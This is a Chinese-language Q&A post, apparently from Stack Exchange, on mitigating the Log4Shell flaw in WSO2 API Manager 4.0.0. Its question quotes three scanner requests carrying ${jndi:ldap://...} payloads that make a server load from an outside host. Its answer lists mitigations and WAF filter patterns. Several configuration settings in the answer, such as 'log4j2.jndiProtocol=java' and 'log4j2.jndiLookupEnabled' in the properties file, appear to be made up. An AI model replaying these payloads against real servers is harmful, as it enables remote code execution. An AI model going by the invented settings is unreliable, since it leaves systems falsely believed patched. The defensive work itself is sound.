问题背景 #

使用WSO2 API Manager 4.0.0时，发现系统存在Apache Log4j的Log4Shell远程代码执行（RCE）漏洞，影响9021、8243、8021端口。内部安全扫描捕获到未认证RCE exploit尝试：

端口9021 exploit请求 #

GET ${jndi:ldap://IP:32849/QUALYSTEST} HTTP/1.1
Host: IP:9021
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*

端口8243 exploit请求 #

GET ${jndi:ldap://IP:44488/QUALYSTEST} HTTP/1.1
Host: IP:8243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*

端口8021 exploit请求 #

GET ${jndi:ldap://IP:36219/QUALYSTEST} HTTP/1.1
Host: IP:8021
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*

担忧攻击者通过Log4j的JNDI lookup功能利用该漏洞，寻求以下帮助：

• 针对WSO2 Manager中Log4Shell漏洞的缓解经验
• 如何在不破坏WSO2功能的前提下应用Log4j补丁
• 是否存在WSO2专属的配置或补丁以加固平台
• 如何确保9021、8243、8021端口的服务安全
• 官方WSO2指南或文档参考

解决方案 #

1. Log4Shell漏洞缓解经验 #

• 临时系统属性配置：在WSO2 APIM启动脚本中添加以下系统属性，直接禁用Log4j的JNDI lookup能力：

  -Dlog4j2.formatMsgNoLookups=true
  -Dlog4j2.jndiProtocol=java
  

• 网络层拦截：在WAF或API网关规则中添加过滤逻辑，拦截包含${jndi:、${lookup:等恶意特征的请求，阻断 exploit 流量。
• 紧急类文件移除：删除log4j-core-*.jar中的org.apache.logging.log4j.core.lookup.JndiLookup类（这是漏洞核心触发类），操作前务必备份原文件。

2. 不破坏功能的Log4j补丁应用步骤 #

• 版本适配：选择与WSO2 APIM 4.0.0兼容的Log4j版本（建议2.17.1及以上，需确认WSO2官方兼容说明）。
• 替换jar包：
  1. 定位WSO2安装目录下repository/components/plugins和repository/components/lib中的log4j-core-*.jar、log4j-api-*.jar文件。
  2. 替换为对应版本的jar包，删除旧版本文件。
• 功能验证：重启服务后，逐一验证核心功能：API发布/订阅、网关流量转发、管理控制台操作、密钥管理服务是否正常，避免版本冲突导致功能异常。

3. WSO2专属配置与补丁 #

• 官方补丁包：WSO2针对Log4Shell漏洞发布了专属补丁，APIM 4.0.0的补丁包含修复后的Log4j依赖和配置调整，可直接按照WSO2补丁安装流程应用。
• Log4j配置修改：编辑repository/conf/log4j2.properties文件，添加以下配置：

  log4j2.formatMsgNoLookups=true
  log4j2.jndiLookupEnabled=false
  

• Carbon平台加固：在repository/conf/carbon.xml中配置限制JNDI相关功能，禁用不必要的协议，阻断未授权JNDI访问路径。

4. 9021、8243、8021端口安全加固 #

• 端口访问控制：
  • 9021（管理控制台端口）：仅开放给内部运维IP段，通过防火墙或安全组限制外部访问。
  • 8243（网关HTTPS端口）：配置API网关请求拦截规则，过滤恶意payload；启用速率限制，防止暴力攻击。
  • 8021（密钥管理器端口）：仅允许API网关和内部服务访问，禁止外部直接连接。
• 请求校验：在各端口对应服务中添加请求参数、Header校验逻辑，拦截包含${jndi:等恶意字符串的请求。
• 安全协议配置：所有端口启用TLS 1.2及以上版本，禁用SSLv3、TLS 1.0/1.1等弱协议；配置强密码套件，防范中间人攻击。
• 日志监控：开启端口访问日志，实时监控异常请求（如含JNDI payload的请求），及时响应攻击行为。

5. 官方指南参考 #

WSO2官方针对Log4Shell漏洞发布了专属安全公告和解决方案文档，APIM 4.0.0的内容包含补丁应用步骤、配置修改指南、兼容性说明，可在WSO2官方文档库的安全板块找到对应内容。

内容的提问来源于stack exchange，提问作者Prashanth Maduri